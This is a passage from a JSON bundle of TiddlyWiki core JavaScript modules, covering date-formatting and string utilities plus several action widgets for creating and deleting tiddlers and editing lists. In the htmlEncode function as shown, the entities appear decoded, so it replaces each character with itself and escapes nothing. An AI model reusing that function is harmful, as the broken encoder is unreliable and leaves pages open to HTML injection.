{\n\t\t\t\treturn $tw.utils.getYearForWeekNo(date);\n\t\t\t}],\n\t\t\t[/^hh12/, function() {\n\t\t\t\treturn $tw.utils.getHours12(date);\n\t\t\t}],\n\t\t\t[/^DDth/, function() {\n\t\t\t\treturn date.getDate() + $tw.utils.getDaySuffix(date);\n\t\t\t}],\n\t\t\t[/^YYYY/, function() {\n\t\t\t\treturn date.getFullYear();\n\t\t\t}],\n\t\t\t[/^0hh/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getHours());\n\t\t\t}],\n\t\t\t[/^0mm/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getMinutes());\n\t\t\t}],\n\t\t\t[/^0ss/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getSeconds());\n\t\t\t}],\n\t\t\t[/^0XXX/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getMilliseconds(),3);\n\t\t\t}],\n\t\t\t[/^0DD/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getDate());\n\t\t\t}],\n\t\t\t[/^0MM/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getMonth()+1);\n\t\t\t}],\n\t\t\t[/^0WW/, function() {\n\t\t\t\treturn $tw.utils.pad($tw.utils.getWeek(date));\n\t\t\t}],\n\t\t\t[/^ddd/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Short/Day/\" + date.getDay());\n\t\t\t}],\n\t\t\t[/^mmm/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Short/Month/\" + (date.getMonth() + 1));\n\t\t\t}],\n\t\t\t[/^DDD/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Long/Day/\" + date.getDay());\n\t\t\t}],\n\t\t\t[/^MMM/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Long/Month/\" + (date.getMonth() + 1));\n\t\t\t}],\n\t\t\t[/^TZD/, function() {\n\t\t\t\tvar tz = date.getTimezoneOffset(),\n\t\t\t\tatz = Math.abs(tz);\n\t\t\t\treturn (tz < 0 ? '+' : '-') + $tw.utils.pad(Math.floor(atz / 60)) + ':' + $tw.utils.pad(atz % 60);\n\t\t\t}],\n\t\t\t[/^wYY/, function() {\n\t\t\t\treturn $tw.utils.pad($tw.utils.getYearForWeekNo(date) - 2000);\n\t\t\t}],\n\t\t\t[/^[ap]m/, function() {\n\t\t\t\treturn $tw.utils.getAmPm(date).toLowerCase();\n\t\t\t}],\n\t\t\t[/^hh/, function() {\n\t\t\t\treturn date.getHours();\n\t\t\t}],\n\t\t\t[/^mm/, function() {\n\t\t\t\treturn date.getMinutes();\n\t\t\t}],\n\t\t\t[/^ss/, function() {\n\t\t\t\treturn date.getSeconds();\n\t\t\t}],\n\t\t\t[/^XXX/, function() {\n\t\t\t\treturn date.getMilliseconds();\n\t\t\t}],\n\t\t\t[/^[AP]M/, function() {\n\t\t\t\treturn $tw.utils.getAmPm(date).toUpperCase();\n\t\t\t}],\n\t\t\t[/^DD/, function() {\n\t\t\t\treturn date.getDate();\n\t\t\t}],\n\t\t\t[/^MM/, function() {\n\t\t\t\treturn date.getMonth() + 1;\n\t\t\t}],\n\t\t\t[/^WW/, function() {\n\t\t\t\treturn $tw.utils.getWeek(date);\n\t\t\t}],\n\t\t\t[/^YY/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getFullYear() - 2000);\n\t\t\t}]\n\t\t];\n\t// If the user wants everything in UTC, shift the datestamp\n\t// Optimize for format string that essentially means\n\t// 'return raw UTC (tiddlywiki style) date string.'\n\tif(t.indexOf(\"[UTC]\") == 0 ) {\n\t\tif(t == \"[UTC]YYYY0MM0DD0hh0mm0ssXXX\")\n\t\t\treturn $tw.utils.stringifyDate(new Date());\n\t\tvar offset = date.getTimezoneOffset() ; // in minutes\n\t\tdate = new Date(date.getTime()+offset*60*1000) ;\n\t\tt = t.substr(5) ;\n\t}\n\twhile(t.length){\n\t\tvar matchString = \"\";\n\t\t$tw.utils.each(matches, function(m) {\n\t\t\tvar match = m[0].exec(t);\n\t\t\tif(match) {\n\t\t\t\tmatchString = m[1].call();\n\t\t\t\tt = t.substr(match[0].length);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t});\n\t\tif(matchString) {\n\t\t\tresult += matchString;\n\t\t} else {\n\t\t\tresult += t.charAt(0);\n\t\t\tt = t.substr(1);\n\t\t}\n\t}\n\tresult = result.replace(/\\\\(.)/g,\"$1\");\n\treturn result;\n};\n\nexports.getAmPm = function(date) {\n\treturn $tw.language.getString(\"Date/Period/\" + (date.getHours() >= 12 ? \"pm\" : \"am\"));\n};\n\nexports.getDaySuffix = function(date) {\n\treturn $tw.language.getString(\"Date/DaySuffix/\" + date.getDate());\n};\n\nexports.getWeek = function(date) {\n\tvar dt = new Date(date.getTime());\n\tvar d = dt.getDay();\n\tif(d === 0) {\n\t\td = 7; // JavaScript Sun=0, ISO Sun=7\n\t}\n\tdt.setTime(dt.getTime() + (4 - d) * 86400000);// shift day to Thurs of same week to calculate weekNo\n\tvar x = new Date(dt.getFullYear(),0,1);\n\tvar n = Math.floor((dt.getTime() - x.getTime()) / 86400000);\n\treturn Math.floor(n / 7) + 1;\n};\n\nexports.getYearForWeekNo = function(date) {\n\tvar dt = new Date(date.getTime());\n\tvar d = dt.getDay();\n\tif(d === 0) {\n\t\td = 7; // JavaScript Sun=0, ISO Sun=7\n\t}\n\tdt.setTime(dt.getTime() + (4 - d) * 86400000);// shift day to Thurs of same week\n\treturn dt.getFullYear();\n};\n\nexports.getHours12 = function(date) {\n\tvar h = date.getHours();\n\treturn h > 12 ? h-12 : ( h > 0 ? h : 12 );\n};\n\n/*\nConvert a date delta in milliseconds into a string representation of \"23 seconds ago\", \"27 minutes ago\" etc.\n\tdelta: delta in milliseconds\nReturns an object with these members:\n\tdescription: string describing the delta period\n\tupdatePeriod: time in millisecond until the string will be inaccurate\n*/\nexports.getRelativeDate = function(delta) {\n\tvar futurep = false;\n\tif(delta < 0) {\n\t\tdelta = -1 * delta;\n\t\tfuturep = true;\n\t}\n\tvar units = [\n\t\t{name: \"Years\", duration: 365 * 24 * 60 * 60 * 1000},\n\t\t{name: \"Months\", duration: (365/12) * 24 * 60 * 60 * 1000},\n\t\t{name: \"Days\", duration: 24 * 60 * 60 * 1000},\n\t\t{name: \"Hours\", duration: 60 * 60 * 1000},\n\t\t{name: \"Minutes\", duration: 60 * 1000},\n\t\t{name: \"Seconds\", duration: 1000}\n\t];\n\tfor(var t=0; t<units.length; t++) {\n\t\tvar result = Math.floor(delta / units[t].duration);\n\t\tif(result >= 2) {\n\t\t\treturn {\n\t\t\t\tdelta: delta,\n\t\t\t\tdescription: $tw.language.getString(\n\t\t\t\t\t\"RelativeDate/\" + (futurep ? \"Future\" : \"Past\") + \"/\" + units[t].name,\n\t\t\t\t\t{variables:\n\t\t\t\t\t\t{period: result.toString()}\n\t\t\t\t\t}\n\t\t\t\t),\n\t\t\t\tupdatePeriod: units[t].duration\n\t\t\t};\n\t\t}\n\t}\n\treturn {\n\t\tdelta: delta,\n\t\tdescription: $tw.language.getString(\n\t\t\t\"RelativeDate/\" + (futurep ? \"Future\" : \"Past\") + \"/Second\",\n\t\t\t{variables:\n\t\t\t\t{period: \"1\"}\n\t\t\t}\n\t\t),\n\t\tupdatePeriod: 1000\n\t};\n};\n\n// Convert & to \"&\", < to \"<\", > to \">\", \" to \""\"\nexports.htmlEncode = function(s) {\n\tif(s) {\n\t\treturn s.toString().replace(/&/mg,\"&\").replace(/</mg,\"<\").replace(/>/mg,\">\").replace(/\\\"/mg,\""\");\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\n// Converts all HTML entities to their character equivalents\nexports.entityDecode = function(s) {\n\tvar converter = String.fromCodePoint || String.fromCharCode,\n\t\te = s.substr(1,s.length-2), // Strip the & and the ;\n\t\tc;\n\tif(e.charAt(0) === \"#\") {\n\t\tif(e.charAt(1) === \"x\" || e.charAt(1) === \"X\") {\n\t\t\tc = parseInt(e.substr(2),16);\n\t\t} else {\n\t\t\tc = parseInt(e.substr(1),10);\n\t\t}\n\t\tif(isNaN(c)) {\n\t\t\treturn s;\n\t\t} else {\n\t\t\treturn converter(c);\n\t\t}\n\t} else {\n\t\tc = $tw.config.htmlEntities[e];\n\t\tif(c) {\n\t\t\treturn converter(c);\n\t\t} else {\n\t\t\treturn s; // Couldn't convert it as an entity, just return it raw\n\t\t}\n\t}\n};\n\nexports.unescapeLineBreaks = function(s) {\n\treturn s.replace(/\\\\n/mg,\"\\n\").replace(/\\\\b/mg,\" \").replace(/\\\\s/mg,\"\\\\\").replace(/\\r/mg,\"\");\n};\n\n/*\n * Returns an escape sequence for given character. Uses \\x for characters <=\n * 0xFF to save space, \\u for the rest.\n *\n * The code needs to be in sync with th code template in the compilation\n * function for \"action\" nodes.\n */\n// Copied from peg.js, thanks to David Majda\nexports.escape = function(ch) {\n\tvar charCode = ch.charCodeAt(0);\n\tif(charCode <= 0xFF) {\n\t\treturn '\\\\x' + $tw.utils.pad(charCode.toString(16).toUpperCase());\n\t} else {\n\t\treturn '\\\\u' + $tw.utils.pad(charCode.toString(16).toUpperCase(),4);\n\t}\n};\n\n// Turns a string into a legal JavaScript string\n// Copied from peg.js, thanks to David Majda\nexports.stringify = function(s) {\n\t/*\n\t* ECMA-262, 5th ed., 7.8.4: All characters may appear literally in a string\n\t* literal except for the closing quote character, backslash, carriage return,\n\t* line separator, paragraph separator, and line feed. Any character may\n\t* appear in the form of an escape sequence.\n\t*\n\t* For portability, we also escape all non-ASCII characters.\n\t*/\n\treturn (s || \"\")\n\t\t.replace(/\\\\/g, '\\\\\\\\') // backslash\n\t\t.replace(/\"/g, '\\\\\"') // double quote character\n\t\t.replace(/'/g, \"\\\\'\") // single quote character\n\t\t.replace(/\\r/g, '\\\\r') // carriage return\n\t\t.replace(/\\n/g, '\\\\n') // line feed\n\t\t.replace(/[\\x00-\\x1f\\x80-\\uFFFF]/g, exports.escape); // non-ASCII characters\n};\n\n// Turns a string into a legal JSON string\n// Derived from peg.js, thanks to David Majda\nexports.jsonStringify = function(s) {\n\t// See http://www.json.org/\n\treturn (s || \"\")\n\t\t.replace(/\\\\/g, '\\\\\\\\') // backslash\n\t\t.replace(/\"/g, '\\\\\"') // double quote character\n\t\t.replace(/\\r/g, '\\\\r') // carriage return\n\t\t.replace(/\\n/g, '\\\\n') // line feed\n\t\t.replace(/\\x08/g, '\\\\b') // backspace\n\t\t.replace(/\\x0c/g, '\\\\f') // formfeed\n\t\t.replace(/\\t/g, '\\\\t') // tab\n\t\t.replace(/[\\x00-\\x1f\\x80-\\uFFFF]/g,function(s) {\n\t\t\treturn '\\\\u' + $tw.utils.pad(s.charCodeAt(0).toString(16).toUpperCase(),4);\n\t\t}); // non-ASCII characters\n};\n\n/*\nEscape the RegExp special characters with a preceding backslash\n*/\nexports.escapeRegExp = function(s) {\n return s.replace(/[\\-\\/\\\\\\^\\$\\*\\+\\?\\.\\(\\)\\|\\[\\]\\{\\}]/g, '\\\\$&');\n};\n\n// Checks whether a link target is external, i.e. not a tiddler title\nexports.isLinkExternal = function(to) {\n\tvar externalRegExp = /^(?:file|http|https|mailto|ftp|irc|news|data|skype):[^\\s<>{}\\[\\]`|\"\\\\^]+(?:\\/|\\b)/i;\n\treturn externalRegExp.test(to);\n};\n\nexports.nextTick = function(fn) {\n/*global window: false */\n\tif(typeof process === \"undefined\") {\n\t\t// Apparently it would be faster to use postMessage - http://dbaron.org/log/20100309-faster-timeouts\n\t\twindow.setTimeout(fn,4);\n\t} else {\n\t\tprocess.nextTick(fn);\n\t}\n};\n\n/*\nConvert a hyphenated CSS property name into a camel case one\n*/\nexports.unHyphenateCss = function(propName) {\n\treturn propName.replace(/-([a-z])/gi, function(match0,match1) {\n\t\treturn match1.toUpperCase();\n\t});\n};\n\n/*\nConvert a camelcase CSS property name into a dashed one (\"backgroundColor\" --> \"background-color\")\n*/\nexports.hyphenateCss = function(propName) {\n\treturn propName.replace(/([A-Z])/g, function(match0,match1) {\n\t\treturn \"-\" + match1.toLowerCase();\n\t});\n};\n\n/*\nParse a text reference of one of these forms:\n* title\n* !!field\n* title!!field\n* title##index\n* etc\nReturns an object with the following fields, all optional:\n* title: tiddler title\n* field: tiddler field name\n* index: JSON property index\n*/\nexports.parseTextReference = function(textRef) {\n\t// Separate out the title, field name and/or JSON indices\n\tvar reTextRef = /(?:(.*?)!!(.+))|(?:(.*?)##(.+))|(.*)/mg,\n\t\tmatch = reTextRef.exec(textRef),\n\t\tresult = {};\n\tif(match && reTextRef.lastIndex === textRef.length) {\n\t\t// Return the parts\n\t\tif(match[1]) {\n\t\t\tresult.title = match[1];\n\t\t}\n\t\tif(match[2]) {\n\t\t\tresult.field = match[2];\n\t\t}\n\t\tif(match[3]) {\n\t\t\tresult.title = match[3];\n\t\t}\n\t\tif(match[4]) {\n\t\t\tresult.index = match[4];\n\t\t}\n\t\tif(match[5]) {\n\t\t\tresult.title = match[5];\n\t\t}\n\t} else {\n\t\t// If we couldn't parse it\n\t\tresult.title = textRef\n\t}\n\treturn result;\n};\n\n/*\nChecks whether a string is a valid fieldname\n*/\nexports.isValidFieldName = function(name) {\n\tif(!name || typeof name !== \"string\") {\n\t\treturn false;\n\t}\n\tname = name.toLowerCase().trim();\n\tvar fieldValidatorRegEx = /^[a-z0-9\\-\\._]+$/mg;\n\treturn fieldValidatorRegEx.test(name);\n};\n\n/*\nExtract the version number from the meta tag or from the boot file\n*/\n\n// Browser version\nexports.extractVersionInfo = function() {\n\tif($tw.packageInfo) {\n\t\treturn $tw.packageInfo.version;\n\t} else {\n\t\tvar metatags = document.getElementsByTagName(\"meta\");\n\t\tfor(var t=0; t<metatags.length; t++) {\n\t\t\tvar m = metatags[t];\n\t\t\tif(m.name === \"tiddlywiki-version\") {\n\t\t\t\treturn m.content;\n\t\t\t}\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nGet the animation duration in ms\n*/\nexports.getAnimationDuration = function() {\n\treturn parseInt($tw.wiki.getTiddlerText(\"$:/config/AnimationDuration\",\"400\"),10) || 0;\n};\n\n/*\nHash a string to a number\nDerived from http://stackoverflow.com/a/15710692\n*/\nexports.hashString = function(str) {\n\treturn str.split(\"\").reduce(function(a,b) {\n\t\ta = ((a << 5) - a) + b.charCodeAt(0);\n\t\treturn a & a;\n\t},0);\n};\n\n/*\nDecode a base64 string\n*/\nexports.base64Decode = function(string64) {\n\treturn base64utf8.base64.decode.call(base64utf8,string64);\n};\n\n/*\nEncode a string to base64\n*/\nexports.base64Encode = function(string64) {\n\treturn base64utf8.base64.encode.call(base64utf8,string64);\n};\n\n/*\nConvert a hashmap into a tiddler dictionary format sequence of name:value pairs\n*/\nexports.makeTiddlerDictionary = function(data) {\n\tvar output = [];\n\tfor(var name in data) {\n\t\toutput.push(name + \": \" + data[name]);\n\t}\n\treturn output.join(\"\\n\");\n};\n\n/*\nHigh resolution microsecond timer for profiling\n*/\nexports.timer = function(base) {\n\tvar m;\n\tif($tw.node) {\n\t\tvar r = process.hrtime();\n\t\tm = r[0] * 1e3 + (r[1] / 1e6);\n\t} else if(window.performance) {\n\t\tm = performance.now();\n\t} else {\n\t\tm = Date.now();\n\t}\n\tif(typeof base !== \"undefined\") {\n\t\tm = m - base;\n\t}\n\treturn m;\n};\n\n/*\nConvert text and content type to a data URI\n*/\nexports.makeDataUri = function(text,type,_canonical_uri) {\n\ttype = type || \"text/vnd.tiddlywiki\";\n\tvar typeInfo = $tw.config.contentTypeInfo[type] || $tw.config.contentTypeInfo[\"text/plain\"],\n\t\tisBase64 = typeInfo.encoding === \"base64\",\n\t\tparts = [];\n\tif(_canonical_uri) {\n\t\tparts.push(_canonical_uri);\n\t} else {\n\t\tparts.push(\"data:\");\n\t\tparts.push(type);\n\t\tparts.push(isBase64 ? \";base64\" : \"\");\n\t\tparts.push(\",\");\n\t\tparts.push(isBase64 ? text : encodeURIComponent(text));\t\t\n\t}\n\treturn parts.join(\"\");\n};\n\n/*\nUseful for finding out the fully escaped CSS selector equivalent to a given tag. For example:\n\n$tw.utils.tagToCssSelector(\"$:/tags/Stylesheet\") --> tc-tagged-\\%24\\%3A\\%2Ftags\\%2FStylesheet\n*/\nexports.tagToCssSelector = function(tagName) {\n\treturn \"tc-tagged-\" + encodeURIComponent(tagName).replace(/[!\"#$%&'()*+,\\-./:;<=>?@[\\\\\\]^`{\\|}~,]/mg,function(c) {\n\t\treturn \"\\\\\" + c;\n\t});\n};\n\n/*\nIE does not have sign function\n*/\nexports.sign = Math.sign || function(x) {\n\tx = +x; // convert to a number\n\tif (x === 0 || isNaN(x)) {\n\t\treturn x;\n\t}\n\treturn x > 0 ? 1 : -1;\n};\n\n/*\nIE does not have an endsWith function\n*/\nexports.strEndsWith = function(str,ending,position) {\n\tif(str.endsWith) {\n\t\treturn str.endsWith(ending,position);\n\t} else {\n\t\tif (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > str.length) {\n\t\t\tposition = str.length;\n\t\t}\n\t\tposition -= ending.length;\n\t\tvar lastIndex = str.indexOf(ending, position);\n\t\treturn lastIndex !== -1 && lastIndex === position;\n\t}\n};\n\n/*\nReturn system information useful for debugging\n*/\nexports.getSystemInfo = function(str,ending,position) {\n\tvar results = [],\n\t\tsave = function(desc,value) {\n\t\t\tresults.push(desc + \": \" + value);\n\t\t};\n\tif($tw.browser) {\n\t\tsave(\"User Agent\",navigator.userAgent);\n\t\tsave(\"Online Status\",window.navigator.onLine);\n\t}\n\tif($tw.node) {\n\t\tsave(\"Node Version\",process.version);\n\t}\n\treturn results.join(\"\\n\");\n};\n\nexports.parseNumber = function(str) {\n\treturn parseFloat(str) || 0;\n};\n\nexports.parseInt = function(str) {\n\treturn parseInt(str,10) || 0;\n};\n\nexports.stringifyNumber = function(num) {\n\treturn num + \"\";\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/widgets/action-createtiddler.js": {
"title": "$:/core/modules/widgets/action-createtiddler.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/action-createtiddler.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to create a new tiddler with a unique name and specified fields.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw:false, require:false, exports:false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CreateTiddlerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCreateTiddlerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCreateTiddlerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nCreateTiddlerWidget.prototype.execute = function() {\n\tthis.actionBaseTitle = this.getAttribute(\"$basetitle\");\n\tthis.hasBase = !!this.actionBaseTitle;\n\tthis.actionSaveTitle = this.getAttribute(\"$savetitle\");\n\tthis.actionSaveDraftTitle = this.getAttribute(\"$savedrafttitle\");\n\tthis.actionTimestamp = this.getAttribute(\"$timestamp\",\"yes\") === \"yes\";\n\t//Following params are new since 5.1.22\n\tthis.actionTemplate = this.getAttribute(\"$template\");\n\tthis.useTemplate = !!this.actionTemplate;\n\tthis.actionOverwrite = this.getAttribute(\"$overwrite\",\"no\");\n\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nCreateTiddlerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif($tw.utils.count(changedAttributes) > 0) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nCreateTiddlerWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar title = this.wiki.getTiddlerText(\"$:/language/DefaultNewTiddlerTitle\"), // Get the initial new-tiddler title\n\t\tfields = {},\n\t\tcreationFields,\n\t\tmodificationFields;\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tfields[name] = attribute;\n\t\t}\n\t});\n\tif(this.actionTimestamp) {\n\t\tcreationFields = this.wiki.getCreationFields();\n\t\tmodificationFields = this.wiki.getModificationFields();\n\t}\n\tif(this.hasBase && this.actionOverwrite === \"no\") {\n\t\ttitle = this.wiki.generateNewTitle(this.actionBaseTitle);\n\t} else if (this.hasBase && this.actionOverwrite === \"yes\") {\n\t\ttitle = this.actionBaseTitle\n\t}\n\t// NO $basetitle BUT $template parameter is available\n\t// the title MUST be unique, otherwise the template would be overwritten\n\tif (!this.hasBase && this.useTemplate) {\n\t\ttitle = this.wiki.generateNewTitle(this.actionTemplate);\n\t} else if (!this.hasBase && !this.useTemplate) {\n\t\t// If NO $basetitle AND NO $template use initial title\n\t\t// DON'T overwrite any stuff\n\t\ttitle = this.wiki.generateNewTitle(title);\n\t}\n\tvar templateTiddler = this.wiki.getTiddler(this.actionTemplate) || {};\n\tvar tiddler = this.wiki.addTiddler(new $tw.Tiddler(templateTiddler.fields,creationFields,fields,modificationFields,{title: title}));\n\tif(this.actionSaveTitle) {\n\t\tthis.wiki.setTextReference(this.actionSaveTitle,title,this.getVariable(\"currentTiddler\"));\n\t}\n\tif(this.actionSaveDraftTitle) {\n\t\tthis.wiki.setTextReference(this.actionSaveDraftTitle,this.wiki.generateDraftTitle(title),this.getVariable(\"currentTiddler\"));\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-createtiddler\"] = CreateTiddlerWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/action-deletefield.js": {
"title": "$:/core/modules/widgets/action-deletefield.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/action-deletefield.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to delete fields of a tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DeleteFieldWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDeleteFieldWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDeleteFieldWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nDeleteFieldWidget.prototype.execute = function() {\n\tthis.actionTiddler = this.getAttribute(\"$tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.actionField = this.getAttribute(\"$field\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nDeleteFieldWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$tiddler\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nDeleteFieldWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar self = this,\n\t\ttiddler = this.wiki.getTiddler(self.actionTiddler),\n\t\tremoveFields = {},\n\t\thasChanged = false;\n\tif(this.actionField && tiddler) {\n\t\tremoveFields[this.actionField] = undefined;\n\t\tif(this.actionField in tiddler.fields) {\n\t\t\thasChanged = true;\n\t\t}\n\t}\n\tif(tiddler) {\n\t\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\t\tif(name.charAt(0) !== \"$\" && name !== \"title\") {\n\t\t\t\tremoveFields[name] = undefined;\n\t\t\t\thasChanged = true;\n\t\t\t}\n\t\t});\n\t\tif(hasChanged) {\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getCreationFields(),tiddler,removeFields,this.wiki.getModificationFields()));\t\t\t\n\t\t}\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-deletefield\"] = DeleteFieldWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/action-deletetiddler.js": {
"title": "$:/core/modules/widgets/action-deletetiddler.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/action-deletetiddler.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to delete a tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DeleteTiddlerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDeleteTiddlerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDeleteTiddlerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nDeleteTiddlerWidget.prototype.execute = function() {\n\tthis.actionFilter = this.getAttribute(\"$filter\");\n\tthis.actionTiddler = this.getAttribute(\"$tiddler\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nDeleteTiddlerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$filter\"] || changedAttributes[\"$tiddler\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nDeleteTiddlerWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar tiddlers = [];\n\tif(this.actionFilter) {\n\t\ttiddlers = this.wiki.filterTiddlers(this.actionFilter,this);\n\t}\n\tif(this.actionTiddler) {\n\t\ttiddlers.push(this.actionTiddler);\n\t}\n\tfor(var t=0; t<tiddlers.length; t++) {\n\t\tthis.wiki.deleteTiddler(tiddlers[t]);\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-deletetiddler\"] = DeleteTiddlerWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/action-listops.js": {
"title": "$:/core/modules/widgets/action-listops.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/action-listops.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to apply list operations to any tiddler field (defaults to the 'list' field of the current tiddler)\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\nvar ActionListopsWidget = function(parseTreeNode, options) {\n\tthis.initialise(parseTreeNode, options);\n};\n/**\n * Inherit from the base widget class\n */\nActionListopsWidget.prototype = new Widget();\n/**\n * Render this widget into the DOM\n */\nActionListopsWidget.prototype.render = function(parent, nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n/**\n * Compute the internal state of the widget\n */\nActionListopsWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.target = this.getAttribute(\"$tiddler\", this.getVariable(\n\t\t\"currentTiddler\"));\n\tthis.filter = this.getAttribute(\"$filter\");\n\tthis.subfilter = this.getAttribute(\"$subfilter\");\n\tthis.listField = this.getAttribute(\"$field\", \"list\");\n\tthis.listIndex = this.getAttribute(\"$index\");\n\tthis.filtertags = this.getAttribute(\"$tags\");\n};\n/**\n * \tRefresh the widget by ensuring our attributes are up to date\n */\nActionListopsWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.$tiddler || changedAttributes.$filter ||\n\t\tchangedAttributes.$subfilter || changedAttributes.$field ||\n\t\tchangedAttributes.$index || changedAttributes.$tags) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n/**\n * \tInvoke the action associated with this widget\n */\nActionListopsWidget.prototype.invokeAction = function(triggeringWidget,\n\tevent) {\n\t//Apply the specified filters to the lists\n\tvar field = this.listField,\n\t\tindex,\n\t\ttype = \"!!\",\n\t\tlist = this.listField;\n\tif(this.listIndex) {\n\t\tfield = undefined;\n\t\tindex = this.listIndex;\n\t\ttype = \"##\";\n\t\tlist = this.listIndex;\n\t}\n\tif(this.filter) {\n\t\tthis.wiki.setText(this.target, field, index, $tw.utils.stringifyList(\n\t\t\tthis.wiki\n\t\t\t.filterTiddlers(this.filter, this)));\n\t}\n\tif(this.subfilter) {\n\t\tvar subfilter = \"[list[\" + this.target + type + list + \"]] \" + this.subfilter;\n\t\tthis.wiki.setText(this.target, field, index, $tw.utils.stringifyList(\n\t\t\tthis.wiki\n\t\t\t.filterTiddlers(subfilter, this)));\n\t}\n\tif(this.filtertags) {\n\t\tvar tiddler = this.wiki.getTiddler(this.target),\n\t\t\toldtags = tiddler ? (tiddler.fields.tags || []).slice(0) : [],\n\t\t\ttagfilter = \"[list[\" + this.target + \"!!tags]] \" + this.filtertags,\n\t\t\tnewtags = this.wiki.filterTiddlers(tagfilter,this);\n\t\tif($tw.utils.stringifyList(oldtags.sort()) !== $tw.utils.stringifyList(newtags.sort())) {\n\t\t\tthis.wiki.setText(this.target,\"tags\",undefined,$tw.utils.stringifyList(newtags));\t\t\t\n\t\t}\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-listops\"] = ActionListopsWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/action-navigate.js": {
"title": "$:/core/modules/widgets/action-navigate.js",
